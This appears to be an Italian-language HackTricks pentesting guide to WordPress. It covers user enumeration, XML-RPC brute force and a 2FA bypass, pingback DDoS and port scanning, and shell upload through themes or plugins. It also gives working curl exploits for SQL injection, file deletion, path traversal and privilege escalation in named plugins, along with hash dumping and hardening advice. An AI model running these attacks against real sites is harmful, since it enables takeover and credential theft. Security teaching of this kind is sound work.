604 lines
31 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Wordpress
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di base
- I file **caricati** si trovano in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- I file **dei temi possono essere trovati in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente utilizzerai quel percorso. Ad esempio: Usando **il tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Un **altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** puoi trovare la password di root del database.
- Percorsi di login predefiniti da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **File principali di WordPress**
- `index.php`
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
- `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
- Cartelle di login (possono essere rinominate per nasconderle):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP che funge da meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla [REST API](https://developer.wordpress.org/rest-api/reference) di WordPress.
- La cartella `wp-content` è la directory principale in cui sono memorizzati plugin e temi.
- `wp-content/uploads/` è la directory in cui sono memorizzati i file caricati sulla piattaforma.
- `wp-includes/` Questa è la directory in cui sono memorizzati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e superiori, WordPress genera un file XML della mappa del sito con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
**Post exploitation**
- Il file `wp-config.php` contiene informazioni necessarie a WordPress per connettersi al database, come il nome del database, l'host del database, nome utente e password, chiavi di autenticazione e sali, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, che può essere utile nella risoluzione dei problemi.
### Permessi degli utenti
- **Amministratore**
- **Editore**: Pubblica e gestisce i suoi e gli altri post
- **Autore**: Pubblica e gestisce i propri post
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
- **Sottoscrittore**: Naviga nei post e modifica il proprio profilo
## **Enumerazione passiva**
### **Ottieni la versione di WordPress**
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
- `meta name`
![](<../../images/image (1111).png>)
- File di collegamento CSS
![](<../../images/image (533).png>)
- File JavaScript
![](<../../images/image (524).png>)
### Ottieni Plugin
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ottieni Temi
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Estrazione delle versioni in generale
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Enumerazione attiva
### Plugin e Temi
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprire tutti, dovrai **forzare attivamente una lista di Plugin e Temi** (speriamo per noi ci siano strumenti automatizzati che contengono queste liste).
### Utenti
- **ID Brute:** Ottieni utenti validi da un sito WordPress forzando gli ID degli utenti:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **non valido**.
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti effettuando una query:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti è:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Saranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`**, il **messaggio** è **diverso** se il **nome utente esiste o meno**.
### XML-RPC
Se `xml-rpc.php` è attivo, puoi eseguire un attacco di forza bruta sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
**Controlla**
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce delle Credenziali**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovare uno di essi, puoi inviare qualcosa come:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`system.multicall`** poiché puoi provare diverse credenziali nella stessa richiesta:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS o scansione delle porte**
Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
**DDoS**
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../images/image (110).png>)
### wp-cron.php DoS
Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
### /wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Worpress potrebbe fare una richiesta a te.
Questa è la risposta quando non funziona:
![](<../../images/image (365).png>)
## SSRF
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Questo strumento controlla se il **methodName: pingback.ping** e per il percorso **/wp-json/oembed/1.0/proxy** e se esiste, cerca di sfruttarli.
## Automatic Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Ottieni accesso sovrascrivendo un bit
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi invertire 1 bit da qualsiasi file di wordpress. Quindi puoi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificare un php dal tema utilizzato (sono necessarie le credenziali di amministratore)**
Aspetto → Editor del tema → Modello 404 (a destra)
Cambia il contenuto in una shell php:
![](<../../images/image (384).png>)
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Puoi usare:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
per ottenere una sessione.
## Plugin RCE
### Plugin PHP
Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo backdoor php utilizzando ad esempio:
![](<../../images/image (183).png>)
Poi aggiungi un nuovo plugin:
![](<../../images/image (722).png>)
Carica il plugin e premi Installa ora:
![](<../../images/image (249).png>)
Clicca su Procedi:
![](<../../images/image (70).png>)
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
![](<../../images/image (462).png>)
Accedila e vedrai l'URL per eseguire la reverse shell:
![](<../../images/image (1006).png>)
### Caricamento e attivazione di un plugin malevolo
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
2. **Installazione del Plugin**:
- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
- Carica il file zip del plugin scaricato.
3. **Attivazione del Plugin**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
4. **Sfruttamento**:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il pentesting con permesso esplicito.
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Da XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X. e consente di:**
- _**Elevazione dei privilegi:**_ Crea un utente in WordPress.
- _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
- _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
- _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
- _**(Personalizzato) Exploits Personalizzati:**_ Exploits Personalizzati per Plugin/Temi di Terze Parti di WordPress.
## Post Sfruttamento
Estrai nomi utente e password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambia la password dell'amministratore:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Pentest dei Plugin di Wordpress
### Superficie di Attacco
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi scoprire come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche quelli non autenticati).**
> [!CAUTION]
> Inoltre, se la funzione sta solo controllando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione sta solo verificando che l'utente sia connesso, di solito non controlla il ruolo dell'utente. Quindi, gli utenti a basso privilegio potrebbero avere accesso ad azioni ad alto privilegio.
- **REST API**
È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
```
Il `permission_callback` è un callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.
**Se viene utilizzata la funzione incorporata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
- **Accesso diretto al file php**
Certo, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga qualche funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
### Cancellazione Arbitraria di File Non Autenticata tramite wp_ajax_nopriv (Tema Litho <= 3.0)
I temi e i plugin di WordPress espongono frequentemente gestori AJAX attraverso i ganci `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene utilizzata la variante **_nopriv_**, **il callback diventa accessibile ai visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
1. Un **controllo delle capacità** (ad es. `current_user_can()` o almeno `is_user_logged_in()`), e
2. Un **nonce CSRF** convalidato con `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitizzazione / validazione rigorosa degli input**.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Rimuovi Famiglia di Font* e ha finito per spedire il seguente codice (semplificato):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemi introdotti da questo frammento:
* **Accesso non autenticato** il hook `wp_ajax_nopriv_` è registrato.
* **Nessun controllo nonce / capacità** qualsiasi visitatore può colpire l'endpoint.
* **Nessuna sanificazione del percorso** la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, consentendo la classica traversata `../../`.
#### Sfruttamento
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base degli upload** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Cancellare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
#### Checklist di rilevamento
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
* Concatenazione di input utente non sanitizzati nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Hardening
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Tratta sempre** qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e controlla due volte:
> • Autenticazione • Autorizzazione • Nonce • Sanitizzazione dell'input • Contenimento del percorso (ad es. tramite `realpath()` più `str_starts_with()`).
---
### Escalation dei privilegi tramite ripristino di ruolo obsoleto e autorizzazione mancante (ASE "Visualizza Admin come Ruolo")
Molti plugin implementano una funzione "visualizza come ruolo" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali nei meta utente in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (ad es., `$_REQUEST['reset-for']`) e su un elenco mantenuto dal plugin senza controllare le capacità e un nonce valido, questo diventa un'escalation verticale dei privilegi.
Un esempio del mondo reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di ripristino ripristinava i ruoli basati su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva un controllo `current_user_can()` una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati dai meta utente `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Perché è sfruttabile
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e è stato declassato, può ripristinarli accedendo al percorso di reset.
- In alcune implementazioni, qualsiasi utente autenticato potrebbe attivare un reset per un altro nome utente ancora presente in `viewing_admin_as_role_are` (autorizzazione compromessa).
Prerequisiti per l'attacco
- Versione vulnerabile del plugin con la funzione abilitata.
- L'account target ha un ruolo di alta privilegio obsoleto memorizzato nei meta utente da un uso precedente.
- Qualsiasi sessione autenticata; nonce/capacità mancanti nel flusso di reset.
Sfruttamento (esempio)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Su build vulnerabili, questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (ad es., `administrator`), aumentando effettivamente i privilegi.
Checklist di rilevamento
- Cerca funzionalità di cambio ruolo che persistono ruoli originali nei meta utente (ad es., `_asenha_view_admin_as_original_roles`).
- Identifica percorsi di reset/ripristino che:
- Leggono i nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizzano in base a un array di opzioni del plugin (ad es., `viewing_admin_as_role_are`) invece delle capacità dell'attore.
Rinforzo
- Applica controlli di capacità su ogni ramo che modifica lo stato (ad es., `current_user_can('manage_options')` o più rigoroso).
- Richiedi nonce per tutte le mutazioni di ruolo/permissi e verifiche: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarti mai dei nomi utente forniti nella richiesta; risolvi l'utente target lato server in base all'attore autenticato e a una politica esplicita.
- Invalidare lo stato dei ruoli originali sugli aggiornamenti del profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Considera di memorizzare uno stato minimo e di utilizzare token temporanei con capacità limitate per passaggi di ruolo temporanei.
---
## Protezione di WordPress
### Aggiornamenti Regolari
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Anche, **installa solo plugin e temi WordPress affidabili**.
### Plugin di Sicurezza
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Altre Raccomandazioni**
- Rimuovi l'utente **admin** predefinito
- Usa **password forti** e **2FA**
- **Rivedi** periodicamente i permessi degli utenti
- **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin di reclutamento WP Job Portal ha esposto un'attività **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemi introdotti da questo frammento:
1. **Input utente non sanitizzato** `parentid` proviene direttamente dalla richiesta HTTP.
2. **Concatenazione di stringhe all'interno della clausola WHERE** nessun `is_numeric()` / `esc_sql()` / dichiarazione preparata.
3. **Accessibilità non autenticata** anche se l'azione viene eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
#### Sfruttamento
1. Ottieni un nonce fresco:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inietta SQL arbitrario abusando di `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La risposta rivela il risultato della query iniettata o altera il database, dimostrando SQLi.
### Download di file arbitrari non autenticati / Traversata di percorso (WP Job Portal <= 2.3.2)
Un'altra attività, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite traversata di percorso. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina di resume.
#### Sfruttamento
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali del DB e le chiavi di autenticazione.
## Riferimenti
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}}